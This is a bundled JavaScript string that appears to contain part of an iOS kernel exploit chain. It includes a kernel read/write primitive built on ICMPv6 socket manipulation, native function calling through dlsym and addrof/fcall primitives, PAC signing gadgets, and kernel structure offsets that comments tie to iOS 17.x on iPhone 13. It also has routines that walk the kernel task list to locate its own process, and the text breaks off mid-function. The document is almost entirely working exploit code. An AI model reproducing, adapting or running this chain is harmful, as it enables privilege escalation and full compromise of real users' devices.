/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("/******/ (() => { // webpackBootstrap\n/******/ \t\"use strict\";\n/******/ \tvar __webpack_modules__ = ({\n\n/***/ \"./src/libs/Chain/Chain.js\":\n/*!*********************************!*\\\n !*** ./src/libs/Chain/Chain.js ***!\n \\*********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Chain)\n/* harmony export */ });\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n\n\nconst TAG = \"CHAIN\"\n\nclass Chain\n{\n\tstatic #driver;\n\tstatic #mutex;\n\n\tstatic init(driver, mutex=null)\n\t{\n\t\tthis.#driver = driver;\n\t\tthis.#mutex = mutex;\n\t}\n\n\tstatic destroy()\n\t{\n\t\tthis.#driver.destroy();\n\t}\n\n\tstatic runPE()\n\t{\n\t\treturn this.#driver.runPE();\n\t}\n\n\tstatic getKernelBase()\n\t{\n\t\treturn this.#driver.getKernelBase();\n\t}\n\n\tstatic getSelfTaskAddr()\n\t{\n\t\treturn this.#driver.getSelfTaskAddr();\n\t}\n\n\tstatic read(srcAddr, dst, len)\n\t{\n\t\tthis.#mutexLock();\n\t\tlet ret = this.#driver.read(srcAddr, dst, len);\n\t\tthis.#mutexUnlock();\n\t\treturn ret;\n\t}\n\n\tstatic write(dst, src, len)\n\t{\n\t\tthis.#mutexLock();\n\t\tlet ret = this.#driver.write(dst, src, len);\n\t\tthis.#mutexUnlock();\n\t\treturn ret;\n\t}\n\n\tstatic readBuff(srcAddr, len)\n\t{\n\t\tif (!this.read(srcAddr, Native.mem, len))\n\t\t\treturn false;\n\t\treturn Native.read(Native.mem, len);\n\t}\n\n\tstatic read8(src)\n\t{\n\t\tthis.read(src, Native.mem, 1);\n\t\treturn Native.read8(Native.mem);\n\t}\n\n\tstatic read16(src)\n\t{\n\t\tthis.read(src, Native.mem, 2);\n\t\treturn Native.read16(Native.mem);\n\t}\n\n\tstatic read32(src)\n\t{\n\t\tthis.read(src, Native.mem, 4);\n\t\treturn Native.read32(Native.mem);\n\t}\n\n\tstatic read64(src)\n\t{\n\t\tthis.read(src, Native.mem, 8);\n\t\treturn Native.read64(Native.mem);\n\t}\n\n\tstatic write8(dst, value)\n\t{\n\t\tNative.write8(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 1);\n\t}\n\n\tstatic write16(dst, value)\n\t{\n\t\tNative.write16(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 2);\n\t}\n\n\tstatic write32(dst, value)\n\t{\n\t\tNative.write32(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 4);\n\t}\n\n\tstatic write64(dst, value)\n\t{\n\t\tNative.write64(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 8);\n\t}\n\n\tstatic offsets()\n\t{\n\t\treturn this.#driver.offsets();\n\t}\n\n\tstatic strip(val)\n\t{\n\t\treturn this.#driver.strip(val);\n\t}\n\n\tstatic writeZoneElement(dstAddr,src,len)\n\t{\n\t\treturn this.#driver.writeZoneElement(dstAddr, src, len);\n\t}\n\n\tstatic getPaciaGadget()\n\t{\n\t\treturn this.#driver.getPaciaGadget();\n\t}\n\tstatic getClearPaciaGadget()\n\t{\n\t\treturn this.#driver.getClearPaciaGadget();\n\t}\n\n\tstatic transferRW()\n\t{\n\t\tlet rwCtx = this.#driver.transferRW();\n\t\tlet controlSocket = rwCtx.controlSocket;\n\t\tlet rwSocket = rwCtx.rwSocket;\n\t\tconsole.log(TAG, \"controlSocket: \" + controlSocket);\n\t\tconsole.log(TAG, \"rwSocket: \" + rwSocket);\n\n\t\tlet portPtr = Native.mem;\n\t\tNative.callSymbol(\"fileport_makeport\", controlSocket, portPtr);\n\t\tlet controlPort = Native.read32(portPtr);\n\n\t\tNative.callSymbol(\"fileport_makeport\", rwSocket, portPtr);\n\t\tlet rwPort = Native.read32(portPtr);\n\n\t\treturn {\n\t\t\tcontrolPort: controlPort,\n\t\t\trwPort: rwPort,\n\t\t\tcontrolSocket: controlSocket,\n\t\t\trwSocket: rwSocket\n\t\t};\n\t}\n\n\tstatic threadSpawn(scriptCFString, threadMem) {\n\t\tthis.#driver.threadSpawn(scriptCFString, threadMem);\n\t}\n\n\tstatic testKRW() {\n\t\tconsole.log(TAG, \"Testing KRW\");\n\t\tconsole.log(TAG, \"- kernelBase: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__[\"default\"].hex(this.getKernelBase()));\n\t\tconsole.log(TAG, \"- PACIA gadget: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__[\"default\"].hex(this.getPaciaGadget()));\n\t\tconsole.log(TAG, \"- Read kernel magic (4 bytes)\");\n\n\t\tlet buff = this.readBuff(this.getKernelBase(), 4);\n\t\tif (!buff) {\n\t\t\tconsole.log(TAG, \"kernel RW not working!\");\n\t\t\treturn false;\n\t\t}\n\t\tlet buff32 = new Uint32Array(buff);\n\t\tconsole.log(TAG, `- Magic: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__[\"default\"].hex(buff32[0])}`);\n\n\t\tif (buff32[0] != 0xfeedfacf) {\n\t\t\tconsole.log(TAG, \"Invalid magic!\");\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tstatic #mutexLock() {\n\t\tif (this.#mutex)\n\t\t\tNative.callSymbol(\"pthread_mutex_lock\", this.#mutex);\n\t}\n\n\tstatic #mutexUnlock() {\n\t\tif (this.#mutex)\n\t\t\tNative.callSymbol(\"pthread_mutex_unlock\", this.#mutex);\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Chain/Native.js\":\n/*!**********************************!*\\\n !*** ./src/libs/Chain/Native.js ***!\n \\**********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Native)\n/* harmony export */ });\nconst RTLD_DEFAULT = 0xFFFFFFFFFFFFFFFEn;\n\nclass Native {\n\n\t// Preallocated memory chunk for general purpose stuff for public use\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\n\t// Preallocated memory chunk for encoding/decoding of string arguments\n\tstatic #argMem = 0n;\n\n\t// Pointer to next available memory for native argument\n\tstatic #argPtr = 0n;\n\n\tstatic {\n\t\tthis.mem = this.callSymbol(\"malloc\", this.memSize);\n\t\tthis.#argMem = this.callSymbol(\"malloc\", 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t}\n\n\tstatic write(ptr, buff) {\n\t\tlet buffPtr = read64(read64(addrof(buff) + 0x10n) + 0x10n);\n\t\tthis.callSymbol(\"memcpy\", ptr, buffPtr, buff.byteLength);\n\t}\n\tstatic write32(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(4);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint32(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic read(ptr, length) {\n\t\tlet buffRes = new ArrayBuffer(length);\n\t\tlet buffPtr = read64(read64(addrof(buffRes) + 0x10n) + 0x10n);\n\t\tthis.callSymbol(\"memcpy\", buffPtr, ptr, length);\n\t\treturn buffRes;\n\t}\n\n\tstatic read8(ptr) {\n\t\tlet buff = this.read(ptr, 1);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getUint8(0);\n\t}\n\n\tstatic read16(ptr) {\n\t\tlet buff = this.read(ptr, 2);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getUint16(0, true);\n\t}\n\n\tstatic read32(ptr) {\n\t\tlet buff = this.read(ptr, 4);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getUint32(0, true);\n\t}\n\n\tstatic read64(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\n\tstatic readPtr(ptr) {\n\t\treturn this.read64(ptr);\n\t}\n\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\n\tstatic write8(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(1);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint8(0, value);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic write16(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(2);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint16(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic write32(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(4);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint32(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic write64(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(8);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic writeString(ptr, str) {\n\t\t//const buff = this.stringToBytes(str, true);\n\t\t//this.write(ptr, buff);\n\t\tthis.callSymbol(\"memcpy\", ptr, str, str.length + 1);\n\t}\n\n\tstatic getCString(str) {\n\t\treturn get_cstring(str);\n\t}\n\n\tstatic #prepareArg(arg) {\n\t\tif(!arg)\n\t\t\targ = 0n;\n\t\tif(typeof(arg) === \"string\")\n\t\t\treturn get_cstring(arg);\n\t\treturn BigInt(arg);\n\t}\n\n\tstatic strip(address) {\n\t\treturn address & 0x7fffffffffn;\n\t}\n\n\tstatic pacia(address, modifier) {\n\t\taddress = Native.strip(address);\n\t\t//console.log(TAG,`address:${Utils.hex(address)}, modifier:${Utils.hex(modifier)}`);\n\t\tlet signedAddress = pacia(address, BigInt(modifier));\n\t\t//console.log(TAG,`signedAddress:${Utils.hex(signedAddress)}`);\n\t\treturn signedAddress;\n\t}\n\n\tstatic dlsym(name) {\n\t\treturn Native.callSymbol(\"dlsym\", RTLD_DEFAULT, name);\n\t}\n\n\tstatic callSymbol(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) {\n\t\tlet funcSymbol = null;\n\t\tif(name === \"dlysm\")\n\t\t\tfuncSymbol = DLSYM;\n\t\telse\n\t\t\tfuncSymbol = fcall(DLSYM,RTLD_DEFAULT,get_cstring(name));\n\t\ta0 = this.#prepareArg(a0);\n\t\ta1 = this.#prepareArg(a1);\n\t\ta2 = this.#prepareArg(a2);\n\t\ta3 = this.#prepareArg(a3);\n\t\ta4 = this.#prepareArg(a4);\n\t\ta5 = this.#prepareArg(a5);\n\t\ta6 = this.#prepareArg(a6);\n\t\ta7 = this.#prepareArg(a7);\n\t\ta8 = this.#prepareArg(a8);\n\t\ta9 = this.#prepareArg(a9);\n\t\ta10 = this.#prepareArg(a10);\n\t\ta11 = this.#prepareArg(a11);\n\t\ta12 = this.#prepareArg(a12);\n\t\ta13 = this.#prepareArg(a13);\n\t\ta14 = this.#prepareArg(a14);\n\t\ta15 = this.#prepareArg(a15);\n\t\tlet chosen_fcall = null;\n\t\tif(typeof fcall_with_pacia !== 'undefined')\n\t\t\tchosen_fcall = fcall_with_pacia;\n\t\telse\n\t\t\tchosen_fcall = fcall;\n\t\tconst ret64 = chosen_fcall(funcSymbol, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\tif (ret64 == 0xffffffffffffffffn)\n\t\t\treturn -1;\n\t\treturn ret64;\n\t}\n\n\tstatic callSymbolRetain(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) {\n\t\treturn Native.callSymbol(name,a0,a1,a2,a3,a4,a5,a6,a7,a8, a9, a10, a11, a12, a13, a14, a15);\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i<bytes8.length; i++) {\n\t\t\tif (!includeNullChar && !bytes8[i])\n\t\t\t\tbreak;\n\t\t\tstr += String.fromCharCode(bytes8[i]);\n\t\t}\n\t\treturn str;\n\t}\n\n\tstatic stringToBytes(str, nullTerminated=false) {\n\t\tlet buff = new ArrayBuffer(str.length + (nullTerminated ? 1 : 0));\n\t\tlet s8 = new Uint8Array(buff);\n\t\tfor (let i=0; i<str.length; i++)\n\t\t\ts8[i] = str.charCodeAt(i);\n\t\tif (nullTerminated)\n\t\t\ts8[str.length] = 0x0;\n\t\treturn s8.buffer;\n\t}\n\n\tstatic #doNativeCall(func, name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t// Initialize argPtr to point to general purpose memory chunk\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0);\n\t\tx1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2);\n\t\tx3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4);\n\t\tx5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6);\n\t\tx7 = this.#toNative(x7);\n\t\tlet ret = func(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\t// Reset argPtr\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn this.#fromNative(ret);\n\t}\n\n\tstatic #fromNative(value) {\n\t\tif (!(value instanceof ArrayBuffer))\n\t\t\treturn value;\n\t\tconst view = new DataView(value);\n\t\treturn view.getBigInt64(0, true);\n\t}\n\n\tstatic #toNative(value) {\n\t\t// Strings need to be manually written to native memory\n\t\tif (typeof value === 'string') {\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, value);\n\t\t\tthis.#argPtr += BigInt(value.length + 1);\n\t\t\treturn this.#bigIntToArray(ptr);\n\t\t}\n\t\telse if (typeof value === 'bigint') {\n\t\t\treturn this.#bigIntToArray(value);\n\t\t}\n\t\telse\n\t\t\treturn value;\n\t}\n\n\tstatic #bigIntToArray(value) {\n\t\tlet a = new Uint8Array(8);\n\t\tfor (let i=0; i<8; i++) {\n\t\t\ta[i] = Number(value & 0xffn)\n\t\t\tvalue >>= 8n;\n\t\t}\n\t\treturn a.buffer;\n\t}\n\tstatic gc() {\n\t}\n}\n\n// Register global Native class\nglobalThis.Native = Native;\n\n\n/***/ }),\n\n/***/ \"./src/libs/Chain/OffsetsStruct.js\":\n/*!*****************************************!*\\\n !*** ./src/libs/Chain/OffsetsStruct.js ***!\n \\*****************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ OffsetsStruct)\n/* harmony export */ });\nconst OFFSET_KERNEL_BASE = 0xfffffff007004000n\n//const OFFSET_KERNEL_TASK = 0x925770n // iOS 17.5.1 - iPhone 13/13 pro max\n//const OFFSET_KERNEL_TASK 0x91d318 // iOS 17.4.1 - iPhone 13 pro max\nconst OFFSET_KERNEL_TASK = 0x0n\nconst OFFSET_TASK_MAP = 0x28n\nconst OFFSET_TASK_NEXT = 0x30n\nconst OFFSET_TASK_PREV = 0x38n\nconst OFFSET_TASK_THREADS = 0x58n\nconst OFFSET_TASK_IPC_SPACE = 0x300n\nconst OFFSET_TASK_PROC_RO = 0x3a0n\nconst OFFSET_TASK_PROC_SIZE = 0x740n // iOS 17.5.1\nconst OFFSET_TASK_EXC_GUARD = 0x5d4n\n\nconst OFFSET_IPC_SPACE_TABLE = 0x20n\nconst OFFSET_IPC_ENTRY_OBJECT =\t0x0n\nconst OFFSET_IPC_OBJECT_KOBJECT = 0x48n\nconst OFFSET_IPC_PORT_IP_NSREQUEST = 0x58n\nconst OFFSET_IPC_PORT_IP_SORIGHTS = 0x84n\n\nconst OFFSET_PROC_PID = 0x60n\nconst OFFSET_PROC_P_COMM = 0x568n\n\nconst OFFSET_THREAD_OPTIONS = 0x70n\nconst OFFSET_THREAD_KSTACKPTR = 0xf0n\nconst OFFSET_THREAD_ROP_PID = 0x160n\nconst OFFSET_THREAD_JOP_PID = 0x168n\nconst OFFSET_THREAD_GUARD_EXC_CODE = 0x330n\nconst OFFSET_THREAD_TASK_THREADS = 0x370n\nconst OFFSET_THREAD_TRO = 0x380n\nconst OFFSET_THREAD_AST = 0x3a4n\nconst OFFSET_THREAD_MUTEX_DATA = 0x3b0n\nconst OFFSET_THREAD_CTID = 0x430n\n\nconst OFFSET_TRO_TASK = 0x20n\n\nconst OFFSET_VM_HDR_RBH_ROOT = 0x38n\nconst OFFSET_VM_RBE_LEFT = 0x0n\nconst OFFSET_VM_RBE_RIGHT = 0x8n\n\nconst OFFSET_VM_OBJECT_VOU_SIZE = 0x18n\nconst OFFSET_VM_OBJECT_REF_COUNT = 0x28n\n\nconst OFFSET_VM_NAMED_ENTRY_COPY = 0x10n\nconst OFFSET_VM_NAMED_ENTRY_NEXT = 0x20n\n\nconst OFFSET_MIG_LOCK = 0x0n;\nconst OFFSET_MIG_SBXMSG = 0x0n;\nclass OffsetsStruct\n{\n\tconstructor() {\n\t\tthis.baseKernel = OFFSET_KERNEL_BASE;\n\t\tthis.kernelTask = OFFSET_KERNEL_TASK;\n\t\tthis.T1SZ_BOOT = 17n;\n\n\t\tthis.mapTask = OFFSET_TASK_MAP;\n\t\tthis.nextTask = OFFSET_TASK_NEXT;\n\t\tthis.prevTask = OFFSET_TASK_PREV;\n\t\tthis.threads = OFFSET_TASK_THREADS;\n\t\tthis.ipcSpace = OFFSET_TASK_IPC_SPACE;\n\t\tthis.procRO = OFFSET_TASK_PROC_RO;\n\t\tthis.procSize = OFFSET_TASK_PROC_SIZE;\n\t\tthis.excGuard = OFFSET_TASK_EXC_GUARD;\n\n\t\tthis.spaceTable = OFFSET_IPC_SPACE_TABLE;\n\t\tthis.entryObject = OFFSET_IPC_ENTRY_OBJECT;\n\t\tthis.objectKObject = OFFSET_IPC_OBJECT_KOBJECT;\n\t\tthis.ipNsRequest = OFFSET_IPC_PORT_IP_NSREQUEST;\n\t\tthis.ipSorights = OFFSET_IPC_PORT_IP_SORIGHTS;\n\n\t\tthis.pid = OFFSET_PROC_PID;\n\t\tthis.pComm = OFFSET_PROC_P_COMM;\n\n\t\tthis.options = OFFSET_THREAD_OPTIONS;\n\t\tthis.kstackptr = OFFSET_THREAD_KSTACKPTR;\n\t\tthis.ropPid = OFFSET_THREAD_ROP_PID;\n\t\tthis.jopPid = OFFSET_THREAD_JOP_PID;\n\t\tthis.guardExcCode = OFFSET_THREAD_GUARD_EXC_CODE;\n\t\tthis.taskThreads = OFFSET_THREAD_TASK_THREADS;\n\t\tthis.tro = OFFSET_THREAD_TRO;\n\t\tthis.ast = OFFSET_THREAD_AST;\n\t\tthis.mutexData = OFFSET_THREAD_MUTEX_DATA;\n\t\tthis.ctid = OFFSET_THREAD_CTID;\n\n\t\tthis.troTask = OFFSET_TRO_TASK;\n\n\t\tthis.hdrRBHRoot = OFFSET_VM_HDR_RBH_ROOT;\n\t\tthis.rbeLeft = OFFSET_VM_RBE_LEFT;\n\t\tthis.rbeRight = OFFSET_VM_RBE_RIGHT;\n\n\t\tthis.vouSize = OFFSET_VM_OBJECT_VOU_SIZE;\n\t\tthis.refCount = OFFSET_VM_OBJECT_REF_COUNT;\n\n\t\tthis.backingCopy = OFFSET_VM_NAMED_ENTRY_COPY;\n\t\tthis.next = OFFSET_VM_NAMED_ENTRY_NEXT;\n\t\tthis.migLock = OFFSET_MIG_LOCK;\n\t\tthis.migSbxMsg = OFFSET_MIG_SBXMSG;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Driver/DriverNewThread.js\":\n/*!********************************************!*\\\n !*** ./src/libs/Driver/DriverNewThread.js ***!\n \\********************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ DriverNewThread)\n/* harmony export */ });\n/* harmony import */ var _Offsets__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./Offsets */ \"./src/libs/Driver/Offsets.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n\n\n\n\nconst TAG = \"DRIVER-NEWTHREAD\"\n\nconst EARLY_KRW_LENGTH = 0x20n;\nconst IPPROTO_ICMPV6 = 58n;\nconst ICMP6_FILTER = 18n;\n\nclass DriverNewThread\n{\n\t#offsets;\n\t#controlSocket;\n\t#rwSocket;\n\t#kernelBase;\n\t#paciaGadget;\n\t#tmpWriteMem;\n\n\tconstructor(controlSocket, rwSocket, kernelBase, paciaGadget=0n) {\n\t\tthis.#offsets = _Offsets__WEBPACK_IMPORTED_MODULE_0__[\"default\"].getByDeviceAndVersion();\n\t\tthis.#controlSocket = controlSocket;\n\t\tthis.#rwSocket = rwSocket;\n\t\tthis.#kernelBase = kernelBase;\n\t\tthis.#paciaGadget = paciaGadget;\n\t\tthis.#tmpWriteMem = Native.callSymbol(\"malloc\", EARLY_KRW_LENGTH);\n\n\t\tconsole.log(TAG, `Got RW context: ${this.#controlSocket}, ${this.#rwSocket}`);\n\t}\n\n\tdestroy() {\n\t\tconsole.log(TAG, \"Destroy\");\n\t\tNative.callSymbol(\"free\", this.#tmpWriteMem);\n\t\tNative.callSymbol(\"close\", this.#controlSocket);\n\t\tNative.callSymbol(\"close\", this.#rwSocket);\n\t}\n\n\tread(srcAddr, dst, len) {\n\t\t//console.log(TAG, `read(${Utils.hex(srcAddr)}, ${len})`);\n\t\tsrcAddr = this.strip(srcAddr);\n\t\tif (srcAddr < 0xffffffd000000000n) {\n\t\t\tconsole.log(TAG, `Invalid kaddr, cannot read: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(srcAddr)}`);\n\t\t\treturn false;\n\t\t}\n\t\treturn this.#kreadLength(srcAddr, dst, len);\n\t}\n\n\twrite(dst, src, len) {\n\t\tlet dstAddr = this.strip(dst);\n\t\tif (dstAddr < 0xffffffd000000000n) {\n\t\t\tconsole.log(TAG, `Invalid kaddr, cannot write: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(dstAddr)}`);\n\t\t\treturn false;\n\t\t}\n\t\treturn this.#kwriteLength(dst, src, len);\n\t}\n\n\twriteZoneElement(dst, src, len) {\n\t\tconst CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE = 0x20n;\n\n\t\tif (len < CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) {\n\t\t\tconsole.log(TAG, \"writeZoneElement supports only zone element size >= 0x20\");\n\t\t\treturn false;\n\t\t}\n\n\t\tlet write_size = 0n;\n\t\tlet write_offset = 0n;\n\n\t\tlet remaining = BigInt(len);\n\t\twhile (remaining != 0n) {\n\t\t\twrite_size = (remaining >= CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) ?\n\t\t\t\tCHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE : (remaining % CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE);\n\n\t\t\tlet kwrite_dst_addr = (dst + write_offset);\n\t\t\tlet kwrite_src_addr = (src + write_offset);\n\n\t\t\tif (write_size != CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) {\n\t\t\t\tlet adjust = (CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE - write_size);\n\t\t\t\tkwrite_dst_addr -= adjust;\n\t\t\t\tkwrite_src_addr -= adjust;\n\t\t\t}\n\t\t\tif (!this.#kwriteLength(kwrite_dst_addr,kwrite_src_addr, CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE))\n\t\t\t\treturn false;\n\t\t\tremaining -= write_size;\n\t\t\twrite_offset += write_size;\n\t\t}\n\t\treturn true;\n\t}\n\n\tstrip(val) {\n\t\t//return val & 0x7fffffffffn;\n\t\treturn val | 0xffffff8000000000n;\n\t}\n\n\toffsets() {\n\t\treturn this.#offsets;\n\t}\n\n\tgetPaciaGadget() {\n\t\treturn this.#paciaGadget;\n\t}\n\n\tgetKernelBase() {\n\t\treturn this.#kernelBase;\n\t}\n\t\n\tgetSelfTaskAddr() {\n\t\tconsole.log(TAG, `getSelfTaskAddr`);\n\n\t\tlet selfTaskKaddr = 0;\n\t\tfor (let i=0; i<5; i++)\n\t\t{\n\t\t\tselfTaskKaddr = this.#findSelfTaskKaddr(true);\n\t\t\tif (!selfTaskKaddr)\n\t\t\t{\n\t\t\t\tconsole.log(TAG, `Searching the other way around`);\n\t\t\t\tselfTaskKaddr = this.#findSelfTaskKaddr(false);\n\t\t\t}\n\t\t\telse\n\t\t\t\tbreak;\n\t\t\tNative.callSymbol(\"usleep\",20000);\n\t\t}\n\t\treturn selfTaskKaddr;\n\t}\n\n\tthreadSpawn(scriptCFString, threadMem) {\n\t\tconsole.log(TAG, \"threadSpawn() not implemented!\");\n\t\tNative.callSymbol(\"sleep\", 2);\n\t}\n\n\t#findSelfTaskKaddr(direction) {\t\n\t\tlet kernelTaskAddr = this.#kernelBase + this.#offsets.kernelTask;\n\t\tconsole.log(TAG, `baseKernel: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.#kernelBase)}, kernelTask: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(kernelTaskAddr)}`);\n\t\n\t\tlet kernelTaskVal = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(kernelTaskAddr);\n\t\t//console.log(TAG,`kernelTaskval:${Utils.hex(kernelTaskVal)}`);\n\t\tlet ourPid = Native.callSymbol(\"getpid\");\n\t\tconsole.log(TAG, `Our pid: ${ourPid}`);\n\t\n\t\tlet nextTask = 0n;\n\t\tif (direction)\n\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(kernelTaskVal + this.#offsets.nextTask);\n\t\telse\n\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(kernelTaskVal + this.#offsets.prevTask);\n\t\t//console.log(TAG, `nextTask: ${Utils.hex(nextTask)}`);\n\n\t\twhile (nextTask != 0 && nextTask != kernelTaskVal) {\n\t\t\tlet procROAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(nextTask + this.#offsets.procRO);\n\t\t\t//console.log(TAG,`procROAddr:${Utils.hex(procROAddr)}`);\n\t\t\tlet procVal = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(procROAddr);\n\t\t\t//console.log(TAG,`procVal: ${Utils.hex(procVal)}`);\n\t\t\tif (procVal && this.strip(procVal) > 0xffffffd000000000n) {\n\t\t\t\tlet pid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procVal + this.#offsets.pid);\n\t\t\t\t//console.log(TAG, `pid:${pid}`);\n\t\t\t\tif (pid == ourPid) {\n\t\t\t\t\tconsole.log(TAG, `Found our pid`);\n\t\t\t\t\treturn nextTask;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (direction)\n\t\t\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(nextTask + this.#offsets.nextTask);\n\t\t\t\telse \n\t\t\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(nextTask + this.#offsets.prevTask);\n\t\t\t}\n\t\t\telse\n\t\t\t\tbreak;\n\t\t}\n\t\treturn false;\n\t}\n\n\t#kreadLength(address, buffer, size) {\n\t\t//console.log(TAG, `kread(${address.toString(16)}, ${size})`);\n\n\t\tlet remaining = BigInt(size);\n\t\tlet read_offset = 0n;\n\t\tlet read_size = 0n;\n\t\n\t\twhile (remaining != 0n) {\n\t\t\tif (remaining >= EARLY_KRW_LENGTH) {\n\t\t\t\tread_size = EARLY_KRW_LENGTH;\n\t\t\t} else {\n\t\t\t\tread_size = remaining % EARLY_KRW_LENGTH;\n\t\t\t}\n\t\t\tif (!this.#kread32Bytes(address + read_offset, buffer + read_offset, read_size))\n\t\t\t\treturn false;\n\t\t\tremaining -= read_size;\n\t\t\tread_offset += read_size;\n\t\t}\n\t\treturn true;\n\t}\n\n\t#kwriteLength(address, buffer, size) {\n\t\t//console.log(TAG, `kwrite(${address.toString(16)}, ${size})`);\n\n\t\tlet remaining = BigInt(size);\n\t\tlet write_offset = 0n;\n\t\tlet write_size = 0n;\n\t\n\t\twhile (remaining != 0n) {\n\t\t\tif (remaining >= EARLY_KRW_LENGTH) {\n\t\t\t\twrite_size = EARLY_KRW_LENGTH;\n\t\t\t} else {\n\t\t\t\twrite_size = remaining % EARLY_KRW_LENGTH;\n\t\t\t}\n\t\n\t\t\tlet kwrite_dst_addr = address + write_offset;\n\t\t\tlet kwrite_src_addr = buffer + write_offset;\n\t\n\t\t\tif (write_size != EARLY_KRW_LENGTH) 